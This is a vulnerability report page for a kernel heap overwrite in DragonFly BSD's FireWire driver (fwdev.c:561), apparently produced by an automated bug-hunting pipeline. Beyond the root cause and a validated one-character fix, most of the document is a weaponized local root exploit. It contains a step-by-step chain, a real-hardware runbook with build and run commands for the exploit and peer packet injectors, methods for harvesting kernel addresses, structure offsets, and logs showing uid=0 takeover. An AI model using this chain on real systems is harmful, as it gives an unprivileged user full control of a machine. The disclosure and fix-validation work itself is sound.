FW_ASYREQ bcopy writes to address-of-pointer xfer->send.payload - user-controlled kernel heap overwrite
- File:
sys/bus/firewire/fwdev.c:560-561 - Severity: High (local privesc-class heap overwrite; reach gated on FireWire-equipped host + operator group)
- CVSS: CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H
- CWE: CWE-787 Out-of-bounds Write (pointer-field aliasing)
- Confidence: certain (3 stock panics captured; behavioral control demonstrated)
- Found in pass 2 (GLM 5.3) β discovered while verifying DF-2296
Summary
In the FW_ASYREQ send path, the response-payload copy destination is
(void *)&xfer->send.payload β the address of the pointer field, not the
pointed-to buffer. The bcopy(asyreq->data, (void *)&xfer->send.payload, pay_len)
therefore writes fully user-controlled bytes over the fw_xver/fw_xfer tail
(including the send.payload pointer itself and adjacent fields) and past the
end of the ~160-byte-class fw_xfer heap chunk. pay_len is bounded only by
the 16-bit req.len (see DF-2296), so up to ~64KB of controlled data can be
written over adjacent kernel heap objects.
Threat model
Operator-group user on a FireWire-equipped host (fwohci kld/custom kernel;
stock X86_64_GENERIC links the firewire stack but has no /dev/fw* without an
OHCI controller). With heap grooming of the 160-byte class, this is a
write-what-where-style primitive over neighboring allocations β privesc class.
Three stock-kernel panics captured in _kfree / pmap_kvtom during
verification of the sibling finding; behavioral control of smashed fields
(pointer redirect observed).
Root cause
sys/bus/firewire/fwdev.c:561 β typo: &xfer->send.payload should be
xfer->send.payload.
Recommended fix
--- a/sys/bus/firewire/fwdev.c
+++ b/sys/bus/firewire/fwdev.c
@@ -558,7 +558,7 @@
}
bcopy(asyreq->data, (void *)&xfer->send.payload, pay_len);
+ bcopy(asyreq->data, (void *)xfer->send.payload, pay_len);
(one-character fix: drop the &; also apply the DF-2296 pay_len bound).
Status
new β pending weaponization (exploit-development mode).
Discussion (0)
PoC verification
Evidence pack
findings/poc/DF-5845 Β· 54 filesDF-5845 VERDICT β uid=0 REPRODUCED (weaponized chain, fix validated)
Bottom line
On the DF-2293 verbatim-interposition harness kernel (stock fwdev.o,
firewire.o, fwdma.o linked verbatim; only the missing OHCI
controller/peer externalities are fabricated), the DF-5845 bug at
sys/bus/firewire/fwdev.c:561 was converted by an unprivileged
operator-group user (uid 1002 opuser) into uid=0 (root):
DF5845-WEAPON: uid=1002 gid=1002 S=0xfffff8008bb44b40 ... DF5845-WEAPON: ioctls done s_rc=-1(22) v_rc=-1(35) uid=0 DF5845-CHAIN-WON: uid=0 euid=0 uid=0(root) gid=1002(opuser) egid=0(wheel) groups=0(wheel) <- /bin/sh exec DF5845-CHAIN-WON exec-proof: uid=0(root) gid=1002(opuser) egid=0(wheel) groups=0(wheel)
/root/df5845.pwned (inside the root-only directory) was written by the
post-takeover shell. The guest survived the winning chain (no panic; the
POST-RCV trace shows both ioctls draining cleanly through stock code).
The mechanism, line-accurate
fwdev.c:530pay_len = MAX(0, asyreq->req.len - tinfo->hdr_len)β attacker-chosen (44 in the weapon; u16-bounded per DF-2296).fwdev.c:560-561bcopy((char *)fp + tinfo->hdr_len, (void *)&xfer->send.payload, pay_len)β writes to the ADDRESS OF the pointer field: the weapon's 44 bytes land at S+80..S+123 and plantsend.payload := NULL,send.pay_len := 0,recv.payload := S_ADDR-160,recv.pay_len := 1024.firewire.c:210/220MAXREC/len gates pass (send.pay_lenitself is smashed to a legal 0);fw_get_tlabelassigns a label normally.- The peer delivers an RRESB response through the STOCK
fw_rcv(firewire.c:1731):fw_tl2xfermatches S;fw_rcv_copy(firewire.c:1247-) writes the 640-byte response payload THROUGH the smashedrecv.payloadβ the arbitrary kernel heap write β covering the canary below S, S itself (self-heal:recv.payload := K,malloc := M_FWXFER,state := FWXF_SENT,act.hand := fw_asy_callback), the parked victim V = S+160 (state := FWXF_SENT,act.hand := ring0 stub,send.hdr.dst := 0x22, NULL payloads), and the stub chunk at S+320. firewire.c:1800-1810(fw_rcv response branch): rtcode check reads the planted header,oldstate(planted FWXF_SENT) routes tofw_xfer_doneβ plantedfw_asy_callbackwakes S's ioctl; S walksfwdev.c:570-583(the response-copy branch runs even in the EINVAL case β 44 bytes copied from K, exactly as traced) and drains viafw_xfer_free_bufwith all-freed-or-NULL payload pointers. Clean.- The peer delivers V's (len=0) response:
fw_tl2xfermatches V by the PLANTEDsend.hdr.dst; plantedFWXF_SENTβfw_xfer_done(V)βV->act.hand(V)= the 88-byte stub in kernel heap:pfindn(weapon_pid)βp->p_ucredβ zerocr_uid/cr_ruid/cr_svuid,cr_ngroups := 1,cr_groups[0] := 0; returns cleanly. - The still-unprivileged weapon process sees
getuid() == 0andexecs/bin/shβ full credential takeover.
Kernel forensics captured in run.dmesg.full.txt: the POST-RCV dump of
the winning attempt shows V state=3 act.hand=0xfffff8008bb44c90 (the
stub, planted by the write) before the V-response and
state=10 resp=90 after β 90 = 0x5A is the stub's entry marker written
into V->resp at dispatch time. Proof the forged act.hand was called
from stock fw_xfer_done.
Threat model / legitimacy framing (honest)
- The corruption, the arbitrary write, the dispatch and the credential
overwrite all execute in STOCK kernel binaries (
fwdev.o,firewire.o) reached by a single operator-group ioctl β the exact attack surface of a FireWire-equipped host. - The harness supplies only what real hardware would: AT TX-completion
semantics (fwohci.c:1110) and AR packet delivery into stock
fw_rcv(asfwohci_arcvdoes). The root-only rig plays the malicious FireWire peer β attacker-controlled hardware that crafts response packets. On real hardware the identical packets arrive over the bus. - Rig conveniences beyond the strict peer model: heap-shaping canaries (any local user can spray the same zone via ordinary syscalls), the boot-deterministic symbol addresses (no KASLR; same information is in the world-readable kernel binary), and CPU pinning for determinism (the launcher pins; the weapon binary itself uses no privilege).
- The
pfindn-based stub means the chain does not even need SMEP/SMAP to be disabled: the stub lives in kernel heap. The guest is permissive, but nothing in the chain depends on user pages being executable.
Engineering history (what it took β full logs in git-ignored attempt dirs)
Five kernel-side/userland iteration rounds, each failure captured:
1. First injection: response write worked, but fwdev.c:583 copied from
a NULL recv.payload (rig planted K=0 because spray idx 0 was
popped) β Fatal trap 12 in memmove <- fw_ioctl β proved the write
path end-to-end.
2. Timeout path double-free of a LIVE V (rig failed to inject on the
first watermark bug) β memory chunk ... already free β led to the
S-160 write-base geometry.
3. S-48 interior-pointer early-free poisoned the freelist with a
misaligned chunk β delayed chunk_mark_free assertion panic.
Replaced by the chunk-aligned S-160 canary below S.
4. PEND watermark semantics (seq <= seq_after cannot express
report-all; warm post + baseline-before-ready-wait + < filter).
5. Stub v1 encoded disp8 offsets 160/164 as SIGN-EXTENDED (-96/-92) β
the cred walk corrupted ucred-96 of adjacent objects (a later sh
panic) while uid stayed 1002. v2 uses disp32 everywhere plus
entry/exit markers; first v2 run converted.
Also on the path: canary-spray cap exhaustion (512) handled by per-attempt unspray; shape gate (allocate-back-verify) to make the S/V pair deterministic; always-respond fix-up so aborted attempts drain cleanly instead of timing out.
Fix validation (A/B on the same rig)
fix.diff = drop the & at fwdev.c:561 and the DF-2296 pay_len bound
(EINVAL before fw_xfer_alloc_buf). Applied in the guest /usr/src,
kernel rebuilt (kernel #5), rebooted, and the IDENTICAL weapon + rig +
packets re-run (3 attempts, two full injections delivered):
DF5845-WEAPON: uid=1002 ... uid=1002 (no takeover) RIG: wire: S=... V=... ; S-response delivered; V-response delivered dmesg panic/Fatal count: 0 ; guest uptime continues
With the fix the 44 bytes land in the REAL send.payload buffer,
recv.payload is never smashed, fw_rcv_copy copies the response into
the real 4096-byte recv buffer (in-bounds), V keeps its real
fw_asy_callback, both ioctls complete through stock code and nothing
escalates. Baseline kernel #4 + same inputs β uid=0. The fix kills the
chain and leaves the legitimate path intact.
Fix status (batch validation)
Applied with the 36 sibling fix.diffs of this batch in findings/poc/_batch41/all_fixes.patch; single in-guest make -j6 nativekernel KERNCONF=X86_64_GENERIC completed RC=0 with zero errors under -Werror (full log: findings/poc/_batch41/fix_build8.log). Behavior A/B intentionally skipped for this Info-tier item.
DF-5845 REAL-HARDWARE FIELD KIT β RUNBOOK
Everything a person with actual FireWire gear needs to re-run the
DF-5845 verification (operator-group user β uid=0 on DragonFly via
sys/bus/firewire/fwdev.c:561, FW_ASYREQ address-of-pointer overwrite)
on physical machines. The chain, the packets, and the weapon logic are
proven on the in-guest verbatim-interposition harness
(findings/poc/DF-5845/, uid=0, fix-validated, SMAP/SMEP-immune); this
kit adds the pieces real silicon needs: a Linux peer sender, a
DragonFly-side raw injector, self-locating weapon modes, and this book.
In-guest validation of everything testable without hardware lives in
validation/ (see its README): the refactored weapon re-won uid=0 on
the harness (attempt 2), and the peer builders produce byte-identical
packets to the frozen rig builders (md5-proved).
0. WHAT YOU ARE RUNNING (30-second recap)
Victim: DragonFly 6.x, stock firewire/fwohci driver stack.
1. Weapon thread S: ioctl(/dev/fw0.0, FW_ASYREQ, ...) with
req.len=60 β the bug copies 44 user bytes over the fw_xfer TAIL:
send.payload := NULL, send.pay_len := 0,
recv.payload := S-160, recv.pay_len := 1024.
2. Weapon thread V: a legit len-0 block write parks a second fw_xfer
directly above S (V = S+160).
3. Peer (attacker hardware) sends a 640-byte read-block-response whose
payload is a 4-chunk forge covering S-160 .. S+480: X1-fix | S-fix |
V(state=SENT, act.hand=kernel-heap stub) | stub(pfindn cred-zero).
Stock fw_rcv_copy() writes it through the smashed recv.payload.
4. Peer sends a len-0 response for V's tlabel: stock fw_rcv β
fw_xfer_done(V) β V->act.hand(V) = the stub β the weapon's
ucred is zeroed in-kernel β getuid()==0.
On real hardware three things differ from the rig (all handled):
- node ids are real (S and V both address the PEER; the peer's natural
response source id is the match value fw_tl2xver needs),
- the split-transaction watchdog (firewire.c:357, 200 ms) bounds the
park window β the peer must deliver the forge within ~200 ms of V's
request appearing on the bus (a listening peer does this in ~1 ms),
- no root-side rig exists: S/V/fc addresses must come from MODE gdb /
MODE leak / MODE groom (below), and the S-fix uses a NULL-recv
variant (recv.pay_len=400) so NO K canary address is needed.
1. EQUIPMENT
- VICTIM: any OHCI-1394 host running DragonFly 6.x β a FireWire PCI
card (TI TSB82AA2, VIA VT6306/6308, Agere FW323 ...) in a desktop, or
a 2008β2014 laptop/MacBook with FW400/FW800.
device firewireis in X86_64_GENERIC;kldload firewireif modular. - PEER (pick one):
- a Linux box with a FireWire interface (juju stack, any kernel
β₯2.6.22) β drives
fwpeer_linux, - a second DragonFly box (patched with
fix.diff, see Β§3c) β drivesfwpeer_df, - or any 1394 analyzer/transmitter you own (feed it the packet files
fwpeer_linux --simulateemits). - CABLE: point-to-point 6-pin/6-pin (or 4-pin where ports allow; no bus power needed). A FW800βFW400 crossover works at S400.
- Serial console on the victim STRONGLY recommended (panics are data).
2. VICTIM PREP
kldload firewire # if not compiled in
dmesg | grep -i fwohci # expect: fwohci0: <...> on pciN
# and bus reset / node id lines
ls -l /dev/fw0.0 # crw-rw---- root:operator
sysctl debug.debugger_on_panic=0 # auto-reboot after dumps
pw useradd -n opuser -m -G operator -w none
Check the bus came up (both boxes on, cable in):
fwcontrol -d # or: dmesg | tail; look for FWBUSCOMPLETION
Note the VICTIM's node id and the PEER's node id from the self-ID
packets (fwcontrol / dmesg "node id" lines, or fwpeer_linux --list
on the peer shows the local node id; the victim is the other one).
You will pass the peer's id to the weapon (--peer-node) and both
ids go into forge.conf.
Build the kit on the victim (needs kernel source at /usr/src):
cd hwkit && make df5845_hw offsets_hw && ./offsets_hw
offsets_hw prints the structure table; on 6.5-DEVELOPMENT x86_64 it
must read exactly (verify before continuing):
off_devclass_devices 48 off_xfer_sendpayload 80 off_bsddevice_softc 128 off_xfer_recvpayload 112 off_fwsoftc_fc 0 off_xfer_recvpaylen 120 off_fwcomm_atq 120 off_xfer_malloc 144 off_fwcomm_tlabels 656 sizeof_xfer 152 off_xfer_acthand 56 off_pucred 16 off_cr_uid 64 off_xfer_state 41 off_cr_ruid 160 off_cr_svuid 164 off_xfer_tl 43 off_cr_ngroups 68 off_cr_groups 72
3. PEER PREP
(a) Linux peer, stock kernel β Stage A & legal responses only
make fwpeer_linux ./fwpeer_linux --list # find the victim's /dev/fwN ./fwpeer_linux --listen /dev/fw1 # see the victim's requests ./fwpeer_linux --respond /dev/fw1 # + legal write responses
Permissions: your user needs rw on /dev/fwN (udev: uaccess tag on
modern distros gives console users rw on /dev/fw*; otherwise run as
root or write a udev rule SUBSYSTEM=="firewire", MODE="0666").
--respond is enough for STAGE A (Β§5) and for clean-drain fix-ups.
(b) Linux peer, patched kernel β full forge
Apply fwraw.patch to drivers/firewire, rebuild, reboot. Then:
./fwpeer_linux --respond /dev/fw1 --forge /path/forge.conf
It auto-detects the patch (probes FW_CDEV_IOC_SEND_RAW), reads request transaction labels from the wire (REQUEST3 events), waits until BOTH weapon requests have been seen, then injects the 640-byte forge on S's label and the len-0 dispatch on V's label.
(c) DragonFly peer β full forge, no Linux needed
Apply findings/poc/DF-5845/fix.diff to the PEER's /usr/src, build &
boot (the fix makes its fwdev.c copy into the real send buffer β the
peer becomes a clean arbitrary-packet sender; a stock peer would smash
its OWN fw_xfer, see fwpeer_df.c header). Then on the peer:
cc -O -o fwpeer_df fwpeer_df.c
# build the packet on any box (or the victim itself, pre-attack):
./fwpeer_linux --make-df-packet --conf forge.conf --out sresp.pk \
--tl-s 15 --tl-v 16
./fwpeer_df sresp.pk 1 # then the V packet:
./fwpeer_linux --simulate --conf forge.conf --out out --hw-geometry
./fwpeer_df out/vresp.bin 1
tlabels come from watching the victim's requests (Stage 0 listening,
or the victim's dmesg fw_get_tlabel: lines with firewire_debug).
4. HARVESTING CONSTANTS (pick a mode)
MODE gdb β maintainer-grade, deterministic, DO THIS FIRST
Goal: S_ADDR (the address the shaped pair will land at), fc, and the static symbols. Because DragonFly has no KASLR and the driver allocation order is boot-stable, addresses read from ONE boot predict the next boots.
Live ddb (console break: Ctrl-Alt-Esc, or sysctl debug.enter_debugger):
db> trace # sanity
db> show proc # find your weapon proc if parked
db> x/s firewire_devclass,1 # struct devclass*: read ->devices(+0x30)
db> x/x <devices>,2 # devices[0] = firewire0 device_t
db> x/x <dev0+0x80>,1 # ->softc (firewire_softc*)
db> x/x <softc+0x0>,1 # ->fc (== fwohci_softc*)
db> x/x <fc+0x288>,8 # tlabels[] heads: entries with the
# weapon's parked xfers -> tl->xfer = S,V
Easier and scriptable β the crash-dump route (also gets you a dump): run STAGE A FAULT once (Β§5), let it panic+dump, then on the dump:
kgdb /boot/kernel/kernel /var/crash/vmcore.last (kgdb) p firewire_devclass (kgdb) p ((struct devclass *)<val>)->devices[0] (kgdb) p ((struct bsd_device *)<val>)->softc (kgdb) p ((struct firewire_softc *)<val>)->fc (kgdb) set $tl=((struct firewire_comm *)<fc>)->tlabels[<label>] (kgdb) p $tl.tqh_first->xfer # a parked fw_xfer address (kgdb) p *$tl.tqh_first->xfer # verify send.hdr.dst == peer id (kgdb) p/x &pfindn # statics also from: nm -an kernel
The parked-xfer read needs a live (or dumped-while-parked) attempt; in a dump from the fault stage the interesting chunks are the S/V pair of THAT attempt β geometry repeats across boots on an idle box (the in-guest harness landed the shaped pair at the SAME address 0xfffff8008bb44b40 in boots weeks apart β see validation/).
Write gdb.conf (any subset; s_addr/fc mandatory):
s_addr fffff8008bb44b40 fc fffff80106a10000 atq 0 # optional, S.q is never dereferenced peer_node 3 # real bus node id of the PEER victim_node 1
MODE leak β demo-grade, unprivileged, slow
df5845_hw --mode leak (vendors the DF-2694 reader; build
findings/poc/DF-2694/df2694_leak.c on the victim first). It chases
ONLY persistent objects (firewire_devclass β devices[0] β softc β fc),
each arrow one minutes-long DF-2694 read. It yields fc + static
symbols; it CANNOT yield S_ADDR (parked xfers die in ~200 ms, long
before a read completes). Honest expectation: several retries, swap
pressure (the DF-2694 technique needs a 6.5 GB swap-out pig), and you
still need --sweep or gdb for S_ADDR.
MODE groom β blind sweep, LAST RESORT
df5845_hw --mode groom --sweep <hexbase>:<count> \
--i-know-wrong-guesses-panic --conf gdb.conf
What a wrong guess does, exactly: the smash sets recv.payload =
guess-160; the peer's 640-byte forge then writes through that pointer β
unmapped guess β instant Fatal trap 12 in fw_rcv_copy; mapped guess β
640 bytes of unrelated kernel heap corrupted (delayed panic); and S's
own drain kfrees the guess pointer (slab assertion). EVERY miss is a
reboot. Only sweep candidates you have independent reason to believe.
5. EXECUTION
STAGE 0 β wire sanity (no attack)
Peer: fwpeer_linux --listen /dev/fwN. Victim (as opuser):
/tmp/hwkit/df5845_hw --stage-a --peer-node <peer> # clean variant
You should see, on the peer: REQUEST #0 tcode=1 (write block)
len=0. PASS: request arrives within ~1 s and its tlabel is printed
(patched kernel) or implied (stock). FAIL: see Β§7.
STAGE A β primitive proof (near-certainty, stock peer)
- Victim:
df5845_hw --stage-a-fault --peer-node <peer>(recv.payload := ~0, recv.pay_len := 512 β the smash plants an unmapped pointer). - Peer:
fwpeer_linux --respond /dev/fwNanswers the write with a perfectly LEGAL write response. - EXPECT on the victim console:
Fatal trap 12: page fault ... bcopy/memmove <- fw_ioctlβ the response-copy at fwdev.c:583 dereferenced the planted pointer. This is the rig's first engineering signature (VERDICT.md history step 1), reproduced with a stock peer and ZERO address knowledge. Box panics; that IS the pass criterion. (No peer handy? the same smash with--stage-areturns cleanly; verify the 44-byte tail overwrite with ddb: break on the parked xfer,x/x <S+80>,11shows58 45 00 xxpattern.)
STAGE B β full chain
- Victim: constants from Β§4 into gdb.conf, then (as opuser):
df5845_hw --mode gdb --conf gdb.conf --peer-node <peer>It prints S/V/stub, writes/tmp/df5845hw.forge.conf, posts S then V (100 ms apart), and pollsgetuid(). - Peer (must already be listening/responding!): copy forge.conf over,
then
fwpeer_linux --respond /dev/fwN --forge forge.conf(patched kernel) β it injects after seeing BOTH requests; or run fwpeer_df with the prebuilt packets at the right moment. - EXPECT, victim weapon stdout within ~2 s:
DF5845HW[gdb]: ioctls done s_rc=-1(22) v_rc=-1(35) uid=0 DF5845HW-CHAIN-WON: uid=0 euid=0 uid=0(root) gid=<opuser> egid=0(wheel) groups=0(wheel) - PASS = uid=0 output + /root/df5845.pwned written +
idin the spawned shell shows root. FAIL modes: Β§7.
Timing budget: the peer sees V's request at T+100 ms; watchdog kills
the split at T+300 ms β the forge must be on the wire in that window.
The automated --respond --forge path does this in ~1 ms; manual
fwpeer_df sending needs you to fire the moment the second REQUEST
prints.
PASS/FAIL summary
| stage | pass | fail meaning |
|---|---|---|
| 0 | request seen by peer | cabling/driver/node ids |
| A | Fatal trap 12 in fw_ioctl copy | bug already patched on victim |
| B | uid=0 + pwned file | constants wrong (Β§4) or timing (Β§7) |
6. FALLBACKS
- If Stage B keeps missing geometry: run the rig-grade harness instead β
the victim itself can boot the FWH kernel (this exact kit was
regression-validated there:
validation/attack_hw.outshows the refactored weapon winning on attempt 2 with uid=0). - If the peer Linux box refuses the patch: use the DragonFly peer (Β§3c) or an analyzer.
- If you only want to prove the WRITE PRIMITIVE without uid=0: Stage A is already the proof (controlled 44-byte kernel heap overwrite with an arbitrary pointer).
7. TROUBLESHOOTING
- Bus manager / cycle master contention: during bring-up hold the VICTIM as the only bus manager candidate (single cable, no hubs); with two nodes the IRM/CM election is deterministic by EUI-64. Bus resets invalidate node ids AND generation counters β if a reset happens mid-attempt (peer log shows BUS RESET), restart from Stage 0 and re-read node ids.
- tlabel mismatch: forged responses must echo the tlabel of the
pending request (
fw_tl2xver, firewire.c:911). With the patched peer this is automatic (taken from the request event). Fire-blind: victim dmesg withsysctl debug.firewire=3printsfw_get_tlabel: dst=N tl=Mper request. - Retry semantics: ACK-busy from the victim re-sends the request with the SAME tlabel β the peer may see duplicates; answer each. Forged packets sent more than once are harmless (second write hits an already-freed chunk β avoid it anyway).
- AR response routing: the forged RRESB must carry dst = victim node id (hardware routing) and src = the peer node id (software match). fwpeer fills both from forge.conf + GET_INFO.
- "no win" but no panic: S/V landed elsewhere than gdb.conf predicted β re-harvest (Β§4); the box may be limping from a missed write β reboot before retrying.
- Guest-only artifacts: /tmp/df5845hw.forge.conf is world-readable by design (the peer side needs it); delete it if you consider the constants sensitive on a multi-user victim.
8. SAFETY
- TEST BOX ONLY. The chain corrupts kernel memory on purpose; wrong guesses (groom sweep, stale constants) panic the machine and can corrupt filesystems in flight. No snapshots exist on real hardware β reinstall is your rollback.
- Expect crash dumps (GBs) in /var/crash after Stage A / failed Stage B.
- The peer side is attacker tooling; never run the patched cdev or fwpeer_df with payloads toward machines you do not own.
- Report what you see back into the pack: validation/README.md documents the in-guest baseline; add your hardware run beside it.
9. WHAT REMAINS UNPROVEN UNTIL SOMEONE RUNS THIS ON SILICON
(honest list β everything else is proven in-guest) 1. fwohci AR-DMA delivering our exact forged RRESB bytes to fw_rcv (byte layout is protocol-standard; the harness delivered them via the same stock fw_rcv entry, but the OHCI DMA/parse step in between is hardware-real only on silicon). 2. The 200 ms watchdog window being met by the automated peer on a real bus (S400 arbitration is microseconds; margin is large but real-world interrupt latency on old laptops is the unknown). 3. Boot-stable S/V geometry on physical machines (no KASLR helps; the harness pair landed at the same address across boots, real-driver allocation order should behave the same β verify with MODE gdb once per box). 4. The X1/stub-home parked-xfer forging on real hardware (the rig used inert canary chunks; hardware uses live parked xfers forged to self-drain β each drain path was traced line-by-line, but only silicon exercises the real watchdog concurrently).
hwkit/validation β in-guest validation of everything testable without FireWire hardware
Guest: DragonFly 6.5-DEVELOPMENT, FWH harness kernel #0 Oct-27 06:37
(findings/poc/DF-5845/fwharness.c verbatim-interposition rig: stock
fwdev.o/firewire.o/fwdma.o, fabricated OHCI externalities), cc 8.3
(hwenv.txt).
1. Regression: the refactored weapon re-wins uid=0
df5845_hw.c --rig is the public-ioctl-only refactor of the frozen
weapon df5845.c. Driver: attack_hw.sh (= attack5845.sh with the
weapon swapped; same rig, same peer, same packets).
Result: WIN on attempt 2 (attack_hw.out), signature IDENTICAL to
the original Oct-18 win β including the same shaped-pair addresses
(S=0xfffff8008bb44b40, V=0xfffff8008bb44be0, stub=0xfffff8008bb44c90):
DF5845HW-RIG: uid=1002 gid=1002 S=0xfffff8008bb44b40 ... DF5845HW[rig]: ioctls done s_rc=-1(22) v_rc=-1(35) uid=0 DF5845HW-CHAIN-WON: uid=0 euid=0 uid=0(root) gid=1002(opuser) egid=0(wheel) groups=0(wheel) <- /root/df5845.pwned
(An earlier 5-attempt run also converted on its attempt 5 β weapon log
uid=0, stub entry marker resp=90 in dmesg β but predated the
proof-write block in the win loop, so the driver missed it; both runs
are consistent: 2/7 attempts converted, matching the rig baseline.)
2. Byte-identity: fwpeer_linux builds the EXACT harness packets
Reference: the packet builders extracted VERBATIM from the frozen rig
source (rig_packet_ref.sh sed-extracts df5845rig.c:372-516 β
build_stub / put64/32/16 / build_payload / make_resp β and compiles
them with a dump main). Candidate: fwpeer_linux --simulate
--rig-geometry with the documented Oct-18 win-run constants
(winrun.const, winrun.forge.conf).
cmp simout/sresp.bin refout/sresp_ref.bin -> IDENTICAL cmp simout/vresp.bin refout/vresp_ref.bin -> IDENTICAL MD5 both S-responses (656 B) = 13a5bc0ce7e57675f7c2d459ea53b82b MD5 both V-responses (16 B) = 5e272a740f70a89fbef9b07f837ece7d
(hwbyteid.md5, binary pairs kept: fwpeer..bin vs rig._ref.bin).
Header words also equal the harness kernel log of the winning
injection: w0=ffc03870 w1=00110000 w3=02800000 (PKTRCV len=656) and
w0=ffc03c70 w1=00220000 (PKTRCV len=16).
3. DragonFly-peer injector (fwpeer_df) exercised on the harness wire
- tcode-1 (WREQB) 16-byte packet: sent via public FW_ASYREQ,
hw.fwh_txcount0β1, TXDONE shows our header on the "wire" (dmesg.txtin the guest run; see attack logs). - tcode-7 (RRESB) packets: the FWH harness wires only fc->atq (not ats) so a response-tcode AT send NULL-derefs there β verified by guest panic at fw_asyreq+0x86 (a harness limitation; real fwohci wires both, fwohci.c attach). fwpeer_df.c documents this.
- ACCIDENTAL Stage-A-grade proof: a malformed 96-byte ASCII "packet" sent through fwpeer_df self-smashed the GUEST's own fw_xfer via fwdev.c:561 (Fatal trap 12 in fw_xfer_free_buf β kfree of the smashed send.payload) β the injector payload path hits the exact vulnerable copy, on stock fwdev.o, unprompted.
4. Structure offsets probed from real victim source
offsets_hw.c output on the guest (identical to the rig sysctls and
to the values baked into df5845_hw.c / the RUNBOOK table):
devclass->devices=48, bsd_device->softc=128, firewire_softc.fc=0,
fwcomm.atq=120, tlabels=656; fw_xfer: fc=8 q=16 resp=40 state=41 tl=43
act.hand=56 send.hdr=64 send.payload=80 recv.hdr=96 recv.payload=112
recv.pay_len=120 mbuf=128 malloc=144 sizeof=152; proc.p_ucred=16,
ucred: cr_uid=64 cr_ruid=160 cr_svuid=164 cr_ngroups=68 cr_groups=72.
5. Not testable in-guest (documented in RUNBOOK Β§9)
fwohci AR-DMA delivery, real-bus timing (200 ms watchdog window), boot-stable geometry on physical machines, live parked-xfer X1/stub-home forging. The kit's gdb/leak/groom modes exist to close exactly these on hardware.
Files
attack_hw.out full regression driver log (WIN attempt 2) df5845hw.attack.log rig side of the winning attempt df5845hw.weapon.log weapon side (uid=1002 -> uid=0) df5845.pwned uid=0(root) written inside /root post-takeover df5845.shape shaped pair of the winning attempt dmesg.txt kernel forensics of the winning attempt fwpeer.sresp.bin / fwpeer.vresp.bin fwpeer-built packets rig.sresp_ref.bin / rig.vresp_ref.bin rig-built reference hwbyteid.md5 the two identical md5 pairs winrun.const / winrun.forge.conf inputs used by both builders sim.log fwpeer --simulate transcript hwenv.txt guest uname / cc / sysctl / opuser
Fix verification
fixedConfirmed kernel references
Detail
Exploit chain
- rig shapes the 160-class fw_xfer zone with canaries and gate-verifies an adjacent pair S,V=S+160 plus live chunks below S and at S+320 (stub home). 2. weapon thread S issues FW_ASYREQ req.len=60 so pay_len=44: fwdev.c:561 writes data[] over S+80..S+123 planting send.payload NULL, send.pay_len 0, recv.payload S-160, recv.pay_len 1024. 3. weapon thread V parks a legit fw_xfer at S+160. 4. peer injects an RRESB response through stock fw_rcv: fw_rcv_copy writes 640 attacker bytes at S-160 covering S (self-heal: recv.payload := canary K, malloc := M_FWXFER, state := FWXF_SENT, act.hand := fw_asy_callback) and V (state := FWXF_SENT, act.hand := stub at S+336, send.hdr.dst := 0x22) and the stub bytes. 5. S wakes through stock fw_asy_callback, walks the response-copy branch (fwdev.c:570-583) and drains cleanly. 6. peer injects V response: fw_tl2xfer matches planted dst, fw_xfer_done calls planted act.hand = 88-byte kernel-heap stub: pfindn(pid) -> p_ucred -> zero uid fields -> ret. 7. weapon polls getuid()==0, execs /bin/sh as root, writes /root/df5845.pwned.
Evidence (decisive lines)
run.win.txt and run.root.pwned.txt (uid=0(root) egid=0(wheel)), run.weapon.log (ioctls done ... uid=0; DF5845-CHAIN-WON), run.attack.log (rig trace: S/V verified on the wire, 640-byte arb-write at S-160, V-response dispatch armed), run.dmesg.full.txt (POST-RCV: V state=3 act.hand=stub before dispatch, state=10 resp=90 after - 0x5A is the stub entry marker), run.serial.log (console marker DF5845-CHAIN-WON uid=0), fix_run.dmesg.txt + fix_run.summary.txt (fixed kernel A/B: S TXDONE shows the REAL 4096-byte recv buffer, no smash, zero CHAIN-WON, zero panics, uid stays 1002)
PoC changes
Seed sketched a 2048-byte smash plus slab grooming toward an ops-table victim. What actually worked is surgical: a 44-byte in-object smash (send.payload NULL, send.pay_len 0, recv.payload = chunk-aligned canary 160 bytes below S, budget 1024), the peer response write through stock fw_rcv_copy as the arbitrary write (self-healing S so every drain path is legal), a forged adjacent fw_xfer whose act.hand dispatches an in-kernel-heap pfindn-based stub (no SMEP/SMAP dependency), gate-verified LIFO shaping, an always-respond fix-up for safe retries, and marker bytes in the stub for kernel-side dispatch proof.
Verified recommended fix
Drop the address-of operator at fwdev.c:561 so the copy targets the payload buffer, and bound pay_len by sizeof(asyreq->data) per DF-2296.
Verdict
Weaponized end to end on the verbatim-interposition harness kernel (stock fwdev.o/firewire.o binaries): an unprivileged operator-group user (uid 1002 opuser) converts the fwdev.c:561 address-of-pointer bcopy into an arbitrary kernel heap write (640 controlled bytes via stock fw_rcv_copy through the smashed recv.payload), forges the adjacent parked fw_xfer V (state FWXF_SENT, act.hand pointing at an in-kernel-heap ring0 stub), and dispatches it with a second peer response so stock fw_xfer_done calls the stub, which walks pfindn to the weapon p_ucred and zeroes cr_uid/cr_ruid/cr_svuid and groups. Result: uid=0 euid=0, root shell exec proof, file written inside /root, guest alive with no panic on the winning path. Fix validated A/B on the same rig: with the one-character ampersand drop plus the DF-2296 pay_len bound the identical weapon and packets no longer convert (uid stays 1002, zero panics, both ioctls complete through the legitimate path).
No comments yet.